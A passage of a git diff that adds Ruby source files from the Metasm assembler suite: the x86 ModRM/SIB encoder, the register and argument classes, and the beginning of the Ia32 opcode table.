Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ia32/opcodes' +require 'metasm/encode' + +module Metasm +class Ia32 + class InvalidModRM < Exception ; end + class ModRM + # returns the byte representing the register encoded as modrm + # works with Reg/SimdReg + def self.encode_reg(reg, mregval = 0) + 0xc0 | (mregval << 3) | reg.val + end + + # The argument is an integer representing the 'reg' field of the mrm + # + # caller is responsible for setting the adsz + # returns an array, 1 element per possible immediate size (for un-reduce()able Expression) + def encode(reg = 0, endianness = :little) + reg = reg.val if reg.kind_of? Argument + case @adsz + when 16; encode16(reg, endianness) + when 32; encode32(reg, endianness) + end + end + + private + def encode16(reg, endianness) + if not b + # imm only + return [EncodedData.new << (6 | (reg << 3)) << @imm.encode(:u16, endianness)] + end + + imm = @imm.reduce if self.imm + imm = nil if imm == 0 + ret = EncodedData.new + ret << + case [@b.val, (@i.val if i)] + when [3, 6], [6, 3]; 0 + when [3, 7], [7, 3]; 1 + when [5, 6], [6, 5]; 2 + when [5, 7], [7, 5]; 3 + when [6, nil]; 4 + when [7, nil]; 5 + when [5, nil] + imm ||= 0 + 6 + when [3, nil]; 7 + else raise InvalidModRM, 'invalid modrm16' + end + + # add bits in the first octet of ret.data (1.9 compatibility layer) + or_bits = lambda { |v| # rape me + if ret.data[0].kind_of? Integer + ret.data[0] |= v + else + ret.data[0] = (ret.data[0].unpack('C').first | v).chr + end + } + + or_bits[reg << 3] + + if imm + case Expression.in_range?(imm, :i8) + when true + or_bits[1 << 6] + [ret << Expression.encode_imm(imm, :i8, endianness)] + when false + or_bits[2 << 6] + [ret << Expression.encode_imm(imm, :a16, endianness)] + when nil + rets = ret.dup + or_bits[1<<6] + ret << @imm.encode(:i8, endianness) + ret, rets = rets, ret # or_bits uses ret + or_bits[2<<6] + ret << @imm.encode(:a16, endianness) + [ret, rets] + end + else + [ret] + end + end + + def encode32(reg, endianness) + # 0 => [ [0 ], [1 ], [2 ], [3 ], [:sib ], [:i32 ], [6 ], [7 ] ], \ + # 1 => [ [0, :i8 ], [1, :i8 ], [2, :i8 ], [3, :i8 ], [:sib, :i8 ], [5, :i8 ], [6, :i8 ], [7, :i8 ] ], \ + # 2 => [ [0, :i32], [1, :i32], [2, :i32], [3, :i32], [:sib, :i32], [5, :i32], [6, :i32], [7, :i32] ] + # + # b => 0 1 2 3 4 5+i|i 6 7 + # i => 0 1 2 3 nil 5 6 7 + + ret = EncodedData.new << (reg << 3) + + # add bits in the first octet of ret.data (1.9 compatibility layer) + or_bits = lambda { |v| # rape me + if ret.data[0].kind_of? Integer + ret.data[0] |= v + else + ret.data[0] = (ret.data[0].unpack('C').first | v).chr + end + } + + if not self.b and not self.i + or_bits[5] + [ret << @imm.encode(:a32, endianness)] + + elsif not self.b and self.s != 1 + # sib with no b + raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 + or_bits[4] + s = {8=>3, 4=>2, 2=>1}[@s] + imm = self.imm || Expression[0] + fu = (s << 6) | (@i.val << 3) | 5 + fu = fu.chr if s >= 2 # rb1.9 encoding fix + [ret << fu << imm.encode(:a32, endianness)] + else + imm = @imm.reduce if self.imm + imm = nil if imm == 0 + + if not self.i or (not self.b and self.s == 1) + # no sib byte (except for [esp]) + b = self.b || self.i + + or_bits[b.val] + ret << 0x24 if b.val == 4 + else + # sib + or_bits[4] + + i, b = @i, @b + b, i = i, b if @s == 1 and (i.val == 4 or b.val == 5) + + raise EncodeError, "Invalid ModRM #{self}" if i.val == 4 + + s = {8=>3, 4=>2, 2=>1, 1=>0}[@s] + fu = (s << 6) | (i.val << 3) | b.val + fu = fu.chr if s >= 2 # rb1.9 encoding fix + ret << fu + end + + imm ||= 0 if b.val == 5 + if imm + case Expression.in_range?(imm, :i8) + when true + or_bits[1<<6] + [ret << Expression.encode_imm(imm, :i8, endianness)] + when false + or_bits[2<<6] + [ret << Expression.encode_imm(imm, :a32, endianness)] + when nil + rets = ret.dup + or_bits[1<<6] + ret << @imm.encode(:i8, endianness) + rets, ret = ret, rets # or_bits[] modifies ret directly + or_bits[2<<6] + ret << @imm.encode(:a32, endianness) + [ret, rets] + end + else + [ret] + end + end + end + end + + class Farptr + def encode(endianness, atype) + @addr.encode(atype, endianness) << @seg.encode(:u16, endianness) + end + end + + # returns all forms of the encoding of instruction i using opcode op + # program may be used to create a new label for relative jump/call + def encode_instr_op(program, i, op) + base = op.bin.dup + oi = op.args.zip(i.args) + set_field = lambda { |f, v| + v ||= 0 # ST => ST(0) + fld = op.fields[f] + base[fld[0]] |= v << fld[1] + } + + size = i.prefix[:sz] || @size + + # + # handle prefixes and bit fields + # + pfx = i.prefix.map { |k, v| + case k + when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v] + when :lock; 0xf0 + when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] + when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v] + when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][v.val] + end + }.compact.pack 'C*' + + if op.name == 'movsx' or op.name == 'movzx' + pfx << 0x66 if size == 48-i.args[0].sz + elsif op.name == 'crc32' + pfx << 0x66 if size == 48-i.args[1].sz + else + opsz = op.props[:argsz] + oi.each { |oa, ia| + case oa + when :reg, :reg_eax, :modrm, :mrm_imm + raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz + opsz = ia.sz + end + } + pfx << 0x66 if (op.props[:opsz] and size == 48 - op.props[:opsz]) or + (not op.props[:argsz] and opsz and size == 48 - opsz) + opsz ||= op.props[:opsz] + end + opsz ||= size + + if op.props[:adsz] and size == 48 - op.props[:adsz] + pfx << 0x67 + adsz = 48 - size + end + adsz ||= size + # addrsize override / segment override + if mrm = i.args.grep(ModRM).first + if not op.props[:adsz] and ((mrm.b and mrm.b.sz == 48 - adsz) or (mrm.i and mrm.i.sz == 48 - adsz)) + pfx << 0x67 + adsz = 48 - adsz + end + pfx << [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][mrm.seg.val] if mrm.seg + end + + + # + # encode embedded arguments + # + postponed = [] + oi.each { |oa, ia| + case oa + when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm + # field arg + set_field[oa, ia.val] + pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128 + when :vexvreg, :vexvxmm, :vexvymm + set_field[:vex_vvvv, ia.val ^ 0xf] + when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0 + # implicit + else + postponed << [oa, ia] + end + } + + if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty? + # reg field of modrm + regval = (base[-1] >> 3) & 7 + base.pop + end + + # convert label name for jmp/call/loop to relative offset + if op.props[:setip] and op.name[0, 3] != 'ret' and i.args.first.kind_of? Expression + postlabel = program.new_label('post'+op.name) + target = postponed.first[1] + target = target.rexpr if target.kind_of? Expression and target.op == :+ and not target.lexpr + postponed.first[1] = Expression[target, :-, postlabel] + end + + pfx << op.props[:needpfx] if op.props[:needpfx] + + # + # append other arguments + # + ret = EncodedData.new(pfx + base.pack('C*')) + + postponed.each { |oa, ia| + case oa + when :farptr; ed = ia.encode(@endianness, "a#{opsz}".to_sym) + when :modrm, :modrmmmx, :modrmxmm, :modrmymm + if ia.kind_of? ModRM + ed = ia.encode(regval, @endianness) + if ed.kind_of?(::Array) + if ed.length > 1 + # we know that no opcode can have more than 1 modrm + ary = [] + ed.each { |m| + ary << (ret.dup << m) + } + ret = ary + next + else + ed = ed.first + end + end + else + ed = ModRM.encode_reg(ia, regval) + end + when :mrm_imm; ed = ia.imm.encode("a#{adsz}".to_sym, @endianness) + when :i8, :u8, :u16; ed = ia.encode(oa, @endianness) + when :i; ed = ia.encode("a#{opsz}".to_sym, @endianness) + when :i4xmm, :i4ymm; ed = ia.val << 4 # u8 + else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}" + end + + if ret.kind_of?(::Array) + ret.each { |e| e << ed } + else + ret << ed + end + } + + # we know that no opcode with setip accept both modrm and immediate arg, so ret is not an ::Array + ret.add_export(postlabel, ret.virtsize) if postlabel + + ret + end +end +end diff --git a/lib/metasm/metasm/cpu/ia32/main.rb b/lib/metasm/metasm/cpu/ia32/main.rb new file mode 100644 index 0000000000..ac2fc115ba --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32/main.rb @@ -0,0 +1,281 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm + +# The ia32 aka x86 CPU +# currently limited to 16 and 32bit modes +class Ia32 < CPU + + # some ruby magic to declare classes with index -> name association (registers) + class Argument + class << self + # for subclasses + attr_accessor :i_to_s, :s_to_i + end + + private + # index -> name, name -> index + def self.simple_map(a) + # { 1 => 'dr1' } + @i_to_s = Hash[*a.flatten] + # { 'dr1' => 1 } + @s_to_i = @i_to_s.invert + + class_eval { + attr_accessor :val + def initialize(v) + raise Exception, "invalid #{self.class} #{v}" unless self.class.i_to_s[v] + @val = v + end + + def ==(o) + self.class == o.class and val == o.val + end + + def self.from_str(s) new(@s_to_i[s]) end + } + end + + # size -> (index -> name), name -> [index, size] + def self.double_map(h) + # { 32 => { 1 => 'ecx' } } + @i_to_s = h + # { 'ecx' => [1, 32] } + @s_to_i = {} ; @i_to_s.each { |sz, hh| hh.each_with_index { |r, i| @s_to_i[r] = [i, sz] } } + + class_eval { + attr_accessor :val, :sz + def initialize(v, sz) + raise Exception, "invalid #{self.class} #{sz}/#{v}" unless self.class.i_to_s[sz] and self.class.i_to_s[sz][v] + @val = v + @sz = sz + end + + def ==(o) + self.class == o.class and val == o.val and sz == o.sz + end + + def self.from_str(s) + raise "Bad #{name} #{s.inspect}" if not x = @s_to_i[s] + new(*x) + end + } + end + end + + + # segment register: es, cs, ss, ds, fs, gs and the theoretical segr6/7 + class SegReg < Argument + simple_map((0..7).zip(%w(es cs ss ds fs gs segr6 segr7))) + end + + # debug register (dr0..dr3, dr6, dr7), and theoretical dr4/5 + class DbgReg < Argument + simple_map((0..7).map { |i| [i, "dr#{i}"] }) + end + + # control register (cr0, cr2, cr3, cr4) and theoretical cr1/5/6/7 + class CtrlReg < Argument + simple_map((0..7).map { |i| [i, "cr#{i}"] }) + end + + # test registers (tr0..tr7) (undocumented) + class TstReg < Argument + simple_map((0..7).map { |i| [i, "tr#{i}"] }) + end + + # floating point registers + class FpReg < Argument + simple_map((0..7).map { |i| [i, "ST(#{i})"] } << [nil, 'ST']) + end + + # Single Instr Multiple Data register (mm0..mm7, xmm0..xmm7, ymm0..ymm7) + class SimdReg < Argument + double_map 64 => (0..7).map { |n| "mm#{n}" }, + 128 => (0..7).map { |n| "xmm#{n}" }, + 256 => (0..7).map { |n| "ymm#{n}" } + def symbolic(di=nil) ; to_s.to_sym end + end + + # general purpose registers, all sizes + class Reg < Argument + double_map 8 => %w{ al cl dl bl ah ch dh bh}, + 16 => %w{ ax cx dx bx sp bp si di}, + 32 => %w{eax ecx edx ebx esp ebp esi edi} + + Sym = @i_to_s[32].map { |s| s.to_sym } + + # returns a symbolic representation of the register: + # eax => :eax + # cx => :ecx & 0xffff + # ah => (:eax >> 8) & 0xff + def symbolic(di=nil) + s = Sym[@val] + if @sz == 8 and to_s[-1] == ?h + Expression[[Sym[@val-4], :>>, 8], :&, 0xff] + elsif @sz == 8 + Expression[s, :&, 0xff] + elsif @sz == 16 + Expression[s, :&, 0xffff] + else + s + end + end + + # checks if two registers have bits in common + def share?(other) + other.val % (other.sz >> 1) == @val % (@sz >> 1) and (other.sz != @sz or @sz != 8 or other.val == @val) + end + end + + # a far pointer + # an immediate (numeric) pointer and an immediate segment selector + class Farptr < Argument + attr_accessor :seg, :addr + def initialize(seg, addr) + @seg, @addr = seg, addr + end + + def ==(o) + self.class == o.class and seg == o.seg and addr == o.addr + end + end + + # ModRM represents indirections in x86 (eg dword ptr [eax+4*ebx+12h]) + class ModRM < Argument + # valid combinaisons for a modrm + # ints are reg indexes, symbols are immediates, except :sib + Sum = { + 16 => { + 0 => [ [3, 6], [3, 7], [5, 6], [5, 7], [6], [7], [:i16], [3] ], + 1 => [ [3, 6, :i8 ], [3, 7, :i8 ], [5, 6, :i8 ], [5, 7, :i8 ], [6, :i8 ], [7, :i8 ], [5, :i8 ], [3, :i8 ] ], + 2 => [ [3, 6, :i16], [3, 7, :i16], [5, 6, :i16], [5, 7, :i16], [6, :i16], [7, :i16], [5, :i16], [3, :i16] ] + }, + 32 => { + 0 => [ [0], [1], [2], [3], [:sib], [:i32], [6], [7] ], + 1 => [ [0, :i8 ], [1, :i8 ], [2, :i8 ], [3, :i8 ], [:sib, :i8 ], [5, :i8 ], [6, :i8 ], [7, :i8 ] ], + 2 => [ [0, :i32], [1, :i32], [2, :i32], [3, :i32], [:sib, :i32], [5, :i32], [6, :i32], [7, :i32] ] + } + } + + + attr_accessor :adsz, :sz + attr_accessor :seg + attr_accessor :s, :i, :b, :imm + + # creates a new ModRM with the specified attributes: + # - adsz (16/32), sz (8/16/32: byte ptr, word ptr, dword ptr) + # - s, i, b, imm + # - segment selector override + def initialize(adsz, sz, s, i, b, imm, seg = nil) + @adsz, @sz = adsz, sz + @s, @i = s, i if i + @b = b if b + @imm = imm if imm + @seg = seg if seg + end + + # returns the symbolic representation of the ModRM (ie an Indirection) + # segment selectors are represented as eg "segment_base_fs" + # not present when same as implicit (ds:edx, ss:esp) + def symbolic(di=nil) + p = nil + p = Expression[p, :+, @b.symbolic(di)] if b + p = Expression[p, :+, [@s, :*, @i.symbolic(di)]] if i + p = Expression[p, :+, @imm] if imm + p = Expression["segment_base_#@seg", :+, p] if seg and seg.val != ((b && (@b.val == 4 || @b.val == 5)) ? 2 : 3) + Indirection[p.reduce, @sz/8, (di.address if di)] + end + + def ==(o) + self.class == o.class and s == o.s and i == o.i and b == o.b and imm == o.imm and seg == o.seg and adsz == o.adsz and sz == o.sz + end + end + + + # Create a new instance of an Ia32 cpu + # arguments (any order) + # - size in bits (16, 32) [32] + # - instruction set (386, 486, pentium...) [latest] + # - endianness [:little] + def initialize(*a) + super() + @size = (a & [16, 32]).first || 32 + a.delete @size + @endianness = (a & [:big, :little]).first || :little + a.delete @endianness + @family = a.pop || :latest + raise "Invalid arguments #{a.inspect}" if not a.empty? + raise "Invalid Ia32 family #{@family.inspect}" if not respond_to?("init_#@family") + end + + # wrapper to transparently forward Ia32.new(64) to X86_64.new + def self.new(*a) + return X86_64.new(*a) if a.include? 64 and self == Ia32 + super(*a) + end + + # initializes the @opcode_list according to @family + def init_opcode_list + send("init_#@family") + @opcode_list + end + + # defines some preprocessor macros to say who we are: + # _M_IX86 = 500, _X86_, __i386__ + # pass any value in nodefine to just call super w/o defining anything of our own + def tune_prepro(pp, nodefine = false) + super(pp) + return if nodefine + pp.define_weak('_M_IX86', 500) + pp.define_weak('_X86_') + pp.define_weak('__i386__') + end + + # returns a Reg/SimdReg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16)) + # returns nil if str is invalid + def str_to_reg(str) + Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil + end + + # returns the list of Regs in the instruction arguments + # may be converted into symbols through Reg#symbolic + def instr_args_regs(i) + i = i.instruction if i.kind_of?(DecodedInstruction) + i.args.grep(Reg) + end + + # returns the list of ModRMs in the instruction arguments + # may be converted into Indirection through ModRM#symbolic + def instr_args_memoryptr(i) + i = i.instruction if i.kind_of?(DecodedInstruction) + i.args.grep(ModRM) + end + + # return the 'base' of the ModRM (Reg/nil) + def instr_args_memoryptr_getbase(mrm) + mrm.b || (mrm.i if mrm.s == 1) + end + + # return the offset of the ModRM (Expression/nil) + def instr_args_memoryptr_getoffset(mrm) + mrm.imm + end + + # define ModRM offset (eg to changing imm into an ExpressionString) + def instr_args_memoryptr_setoffset(mrm, imm) + mrm.imm = (imm ? Expression[imm] : imm) + end + + def shortname + "ia32#{'_16' if @size == 16}#{'_be' if @endianness == :big}" + end +end +X86 = Ia32 +end diff --git a/lib/metasm/metasm/cpu/ia32/opcodes.rb b/lib/metasm/metasm/cpu/ia32/opcodes.rb new file mode 100644 index 0000000000..0aa16cbf43 --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32/opcodes.rb @@ -0,0 +1,1424 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ia32/main' + +module Metasm +class Ia32 + def init_cpu_constants + @opcode_list ||= [] + @fields_mask.update :w => 1, :s => 1, :d => 1, :modrm => 0xC7, + :reg => 7, :eeec => 7, :eeed => 7, :eeet => 7, :seg2 => 3, :seg3 => 7, + :regfp => 7, :regmmx => 7, :regxmm => 7, :regymm => 7, + :vex_r => 1, :vex_b => 1, :vex_x => 1, :vex_w => 1, + :vex_vvvv => 0xF + @fields_mask[:seg2A] = @fields_mask[:seg2] + @fields_mask[:seg3A] = @fields_mask[:seg3] + + [:i, :i8, :u8, :u16, :reg, :seg2, :seg2A, + :seg3, :seg3A, :eeec, :eeed, :eeet, :modrm, :mrm_imm, + :farptr, :imm_val1, :imm_val3, :reg_cl, :reg_eax, + :reg_dx, :regfp, :regfp0, :modrmmmx, :regmmx, + :modrmxmm, :regxmm, :modrmymm, :regymm, + :vexvxmm, :vexvymm, :vexvreg, :i4xmm, :i4ymm + ].each { |a| @valid_args[a] = true } + + [:strop, :stropz, :opsz, :adsz, :argsz, :setip, + :stopexec, :saveip, :unsigned_imm, :random, :needpfx, + :xmmx, :modrmR, :modrmA, :mrmvex + ].each { |a| @valid_props[a] = true } + end + + # only most common instructions from the 386 instruction set + # inexhaustive list : + # no aaa, arpl, mov crX, call/jmp/ret far, in/out, bts, xchg... + def init_386_common_only + init_cpu_constants + + addop_macro1 'adc', 2 + addop_macro1 'add', 0 + addop_macro1 'and', 4, :unsigned_imm + addop 'bswap', [0x0F, 0xC8], :reg + addop 'call', [0xE8], nil, :stopexec, :setip, :i, :saveip + addop 'call', [0xFF], 2, :stopexec, :setip, :saveip + addop('cbw', [0x98]) { |o| o.props[:opsz] = 16 } + addop('cwde', [0x98]) { |o| o.props[:opsz] = 32 } + addop('cwd', [0x99]) { |o| o.props[:opsz] = 16 } + addop('cdq', [0x99]) { |o| o.props[:opsz] = 32 } + addop_macro1 'cmp', 7 + addop_macrostr 'cmps', [0xA6], :stropz + addop 'dec', [0x48], :reg + addop 'dec', [0xFE], 1, {:w => [0, 0]} + addop 'div', [0xF6], 6, {:w => [0, 0]} + addop 'enter', [0xC8], nil, :u16, :u8 + addop 'idiv', [0xF6], 7, {:w => [0, 0]} + addop 'imul', [0xF6], 5, {:w => [0, 0]} # implicit eax, but different semantic from imul eax, ebx (the implicit version updates edx:eax) + addop 'imul', [0x0F, 0xAF], :mrm + addop 'imul', [0x69], :mrm, {:s => [0, 1]}, :i + addop 'inc', [0x40], :reg + addop 'inc', [0xFE], 0, {:w => [0, 0]} + addop 'int', [0xCC], nil, :imm_val3, :stopexec + addop 'int', [0xCD], nil, :u8 + addop_macrotttn 'j', [0x70], nil, :setip, :i8 + addop_macrotttn('j', [0x70], nil, :setip, :i8) { |o| o.name << '.i8' } + addop_macrotttn 'j', [0x0F, 0x80], nil, :setip, :i + addop_macrotttn('j', [0x0F, 0x80], nil, :setip, :i) { |o| o.name << '.i' } + addop 'jmp', [0xE9], nil, {:s => [0, 1]}, :setip, :i, :stopexec + addop 'jmp', [0xFF], 4, :setip, :stopexec + addop 'lea', [0x8D], :mrmA + addop 'leave', [0xC9] + addop_macrostr 'lods', [0xAC], :strop + addop 'loop', [0xE2], nil, :setip, :i8 + addop 'loopz', [0xE1], nil, :setip, :i8 + addop 'loope', [0xE1], nil, :setip, :i8 + addop 'loopnz',[0xE0], nil, :setip, :i8 + addop 'loopne',[0xE0], nil, :setip, :i8 + addop 'mov', [0xA0], nil, {:w => [0, 0], :d => [0, 1]}, :reg_eax, :mrm_imm + addop('mov', [0x88], :mrmw,{:d => [0, 1]}) { |o| o.args.reverse! } + addop 'mov', [0xB0], :reg, {:w => [0, 3]}, :i, :unsigned_imm + addop 'mov', [0xC6], 0, {:w => [0, 0]}, :i, :unsigned_imm + addop_macrostr 'movs', [0xA4], :strop + addop 'movsx', [0x0F, 0xBE], :mrmw + addop 'movzx', [0x0F, 0xB6], :mrmw + addop 'mul', [0xF6], 4, {:w => [0, 0]} + addop 'neg', [0xF6], 3, {:w => [0, 0]} + addop 'nop', [0x90] + addop 'not', [0xF6], 2, {:w => [0, 0]} + addop_macro1 'or', 1, :unsigned_imm + addop 'pop', [0x58], :reg + addop 'pop', [0x8F], 0 + addop 'push', [0x50], :reg + addop 'push', [0xFF], 6 + addop 'push', [0x68], nil, {:s => [0, 1]}, :i, :unsigned_imm + addop 'ret', [0xC3], nil, :stopexec, :setip + addop 'ret', [0xC2], nil, :stopexec, :u16, :setip + addop_macro3 'rol', 0 + addop_macro3 'ror', 1 + addop_macro3 'sar', 7 + addop_macro1 'sbb', 3 + addop_macrostr 'scas', [0xAE], :stropz + addop_macrotttn('set', [0x0F, 0x90], 0) { |o| o.props[:argsz] = 8 } + addop_macrotttn('set', [0x0F, 0x90], :mrm) { |o| o.props[:argsz] = 8 ; o.args.reverse! } # :reg field is unused + addop_macro3 'shl', 4 + addop_macro3 'sal', 6 + addop 'shld', [0x0F, 0xA4], :mrm, :u8 + addop 'shld', [0x0F, 0xA5], :mrm, :reg_cl + addop_macro3 'shr', 5 + addop 'shrd', [0x0F, 0xAC], :mrm, :u8 + addop 'shrd', [0x0F, 0xAD], :mrm, :reg_cl + addop_macrostr 'stos', [0xAA], :strop + addop_macro1 'sub', 5 + addop 'test', [0x84], :mrmw + addop 'test', [0xA8], nil, {:w => [0, 0]}, :reg_eax, :i, :unsigned_imm + addop 'test', [0xF6], 0, {:w => [0, 0]}, :i, :unsigned_imm + addop 'xchg', [0x90], :reg, :reg_eax + addop('xchg', [0x90], :reg, :reg_eax) { |o| o.args.reverse! } # xchg eax, ebx == xchg ebx, eax) + addop 'xchg', [0x86], :mrmw + addop('xchg', [0x86], :mrmw) { |o| o.args.reverse! } + addop_macro1 'xor', 6, :unsigned_imm + end + + def init_386_only + init_cpu_constants + + addop 'aaa', [0x37] + addop 'aad', [0xD5, 0x0A] + addop 'aam', [0xD4, 0x0A] + addop 'aas', [0x3F] + addop('arpl', [0x63], :mrm) { |o| o.props[:argsz] = 16 ; o.args.reverse! } + addop 'bound', [0x62], :mrmA + addop 'bsf', [0x0F, 0xBC], :mrm + addop 'bsr', [0x0F, 0xBD], :mrm + addop_macro2 'bt' , 0 + addop_macro2 'btc', 3 + addop_macro2 'btr', 2 + addop_macro2 'bts', 1 + addop 'call', [0x9A], nil, :stopexec, :setip, :farptr, :saveip + addop 'callf', [0x9A], nil, :stopexec, :setip, :farptr, :saveip + addop 'callf', [0xFF], 3, :stopexec, :setip, :saveip + addop 'clc', [0xF8] + addop 'cld', [0xFC] + addop 'cli', [0xFA] + addop 'clts', [0x0F, 0x06] + addop 'cmc', [0xF5] + addop('cmpxchg',[0x0F, 0xB0], :mrmw) { |o| o.args.reverse! } + addop 'cpuid', [0x0F, 0xA2] + addop 'daa', [0x27] + addop 'das', [0x2F] + addop 'hlt', [0xF4], nil, :stopexec + addop 'in', [0xE4], nil, {:w => [0, 0]}, :reg_eax, :u8 + addop 'in', [0xE4], nil, {:w => [0, 0]}, :u8 + addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax, :reg_dx + addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax + addop 'in', [0xEC], nil, {:w => [0, 0]} + addop_macrostr 'ins', [0x6C], :strop + addop 'into', [0xCE] + addop 'invd', [0x0F, 0x08] + addop 'invlpg', [0x0F, 0x01, 7<<3], :modrmA + addop('iretd', [0xCF], nil, :stopexec, :setip) { |o| o.props[:opsz] = 32 } + addop_macroret 'iret', [0xCF] + addop('jcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 16 } + addop('jecxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } + addop 'jmp', [0xEA], nil, :farptr, :setip, :stopexec + addop 'jmpf', [0xEA], nil, :farptr, :setip, :stopexec + addop 'jmpf', [0xFF], 5, :stopexec, :setip # reg ? + addop 'lahf', [0x9F] + addop 'lar', [0x0F, 0x02], :mrm + addop 'lds', [0xC5], :mrmA + addop 'les', [0xC4], :mrmA + addop 'lfs', [0x0F, 0xB4], :mrmA + addop 'lgs', [0x0F, 0xB5], :mrmA + addop 'lgdt', [0x0F, 0x01], 2, :modrmA + addop 'lidt', [0x0F, 0x01, 3<<3], :modrmA + addop 'lldt', [0x0F, 0x00], 2, :modrmA + addop 'lmsw', [0x0F, 0x01], 6 +# prefix addop 'lock', [0xF0] + addop 'lsl', [0x0F, 0x03], :mrm + addop 'lss', [0x0F, 0xB2], :mrmA + addop 'ltr', [0x0F, 0x00], 3 + addop 'mov', [0x0F, 0x20, 0xC0], :reg, {:d => [1, 1], :eeec => [2, 3]}, :eeec + addop 'mov', [0x0F, 0x21, 0xC0], :reg, {:d => [1, 1], :eeed => [2, 3]}, :eeed + addop 'mov', [0x0F, 0x24, 0xC0], :reg, {:d => [1, 1], :eeet => [2, 3]}, :eeet + addop 'mov', [0x8C], 0, {:d => [0, 1], :seg3 => [1, 3]}, :seg3 + addop 'movbe', [0x0F, 0x38, 0xF0], :mrm, { :d => [2, 0] } + addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8, :reg_eax + addop 'out', [0xE6], nil, {:w => [0, 0]}, :reg_eax, :u8 + addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8 + addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_dx, :reg_eax + addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax, :reg_dx + addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax # implicit arguments + addop 'out', [0xEE], nil, {:w => [0, 0]} + addop_macrostr 'outs', [0x6E], :strop + addop 'pop', [0x07], nil, {:seg2A => [0, 3]}, :seg2A + addop 'pop', [0x0F, 0x81], nil, {:seg3A => [1, 3]}, :seg3A + addop('popa', [0x61]) { |o| o.props[:opsz] = 16 } + addop('popad', [0x61]) { |o| o.props[:opsz] = 32 } + addop('popf', [0x9D]) { |o| o.props[:opsz] = 16 } + addop('popfd', [0x9D]) { |o| o.props[:opsz] = 32 } + addop 'push', [0x06], nil, {:seg2 => [0, 3]}, :seg2 + addop 'push', [0x0F, 0x80], nil, {:seg3A => [1, 3]}, :seg3A + addop('pusha', [0x60]) { |o| o.props[:opsz] = 16 } + addop('pushad',[0x60]) { |o| o.props[:opsz] = 32 } + addop('pushf', [0x9C]) { |o| o.props[:opsz] = 16 } + addop('pushfd',[0x9C]) { |o| o.props[:opsz] = 32 } + addop_macro3 'rcl', 2 + addop_macro3 'rcr', 3 + addop 'rdmsr', [0x0F, 0x32] + addop 'rdpmc', [0x0F, 0x33] + addop 'rdtsc', [0x0F, 0x31], nil, :random + addop_macroret 'retf', [0xCB] + addop_macroret 'retf', [0xCA], :u16 + addop 'rsm', [0x0F, 0xAA], nil, :stopexec + addop 'sahf', [0x9E] + addop 'sgdt', [0x0F, 0x01, 0<<3], :modrmA + addop 'sidt', [0x0F, 0x01, 1<<3], :modrmA + addop 'sldt', [0x0F, 0x00], 0 + addop 'smsw', [0x0F, 0x01], 4 + addop 'stc', [0xF9] + addop 'std', [0xFD] + addop 'sti', [0xFB] + addop 'str', [0x0F, 0x00], 1 + addop 'test', [0xF6], 1, {:w => [0, 0]}, :i, :unsigned_imm # undocumented alias to F6/0 + addop 'ud2', [0x0F, 0x0B] + addop 'verr', [0x0F, 0x00], 4 + addop 'verw', [0x0F, 0x00], 5 + addop 'wait', [0x9B] + addop 'wbinvd',[0x0F, 0x09] + addop 'wrmsr', [0x0F, 0x30] + addop('xadd', [0x0F, 0xC0], :mrmw) { |o| o.args.reverse! } + addop 'xlat', [0xD7] + +# pfx: addrsz = 0x67, lock = 0xF0, opsz = 0x66, repnz = 0xF2, rep/repz = 0xF3 +# cs/nojmp = 0x2E, ds/jmp = 0x3E, es = 0x26, fs = 0x64, gs = 0x65, ss = 0x36 + + # undocumented opcodes + addop 'aam', [0xD4], nil, :u8 + addop 'aad', [0xD5], nil, :u8 + addop 'setalc',[0xD6] + addop 'salc', [0xD6] + addop 'icebp', [0xF1] + #addop 'loadall',[0x0F, 0x07] # conflict with syscall + addop 'ud0', [0x0F, 0xFF] # amd + addop 'ud2', [0x0F, 0xB9], :mrm + #addop 'umov', [0x0F, 0x10], :mrmw, {:d => [1, 1]} # conflicts with movups/movhlps + end + + def init_387_only + init_cpu_constants + + addop 'f2xm1', [0xD9, 0xF0] + addop 'fabs', [0xD9, 0xE1] + addop_macrofpu1 'fadd', 0 + addop 'faddp', [0xDE, 0xC0], :regfp + addop 'faddp', [0xDE, 0xC1] + addop('fbld', [0xDF, 4<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } + addop('fbstp', [0xDF, 6<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } + addop 'fchs', [0xD9, 0xE0], nil, :regfp0 + addop 'fnclex', [0xDB, 0xE2] + addop_macrofpu1 'fcom', 2 + addop_macrofpu1 'fcomp', 3 + addop 'fcompp',[0xDE, 0xD9] + addop 'fcomip',[0xDF, 0xF0], :regfp 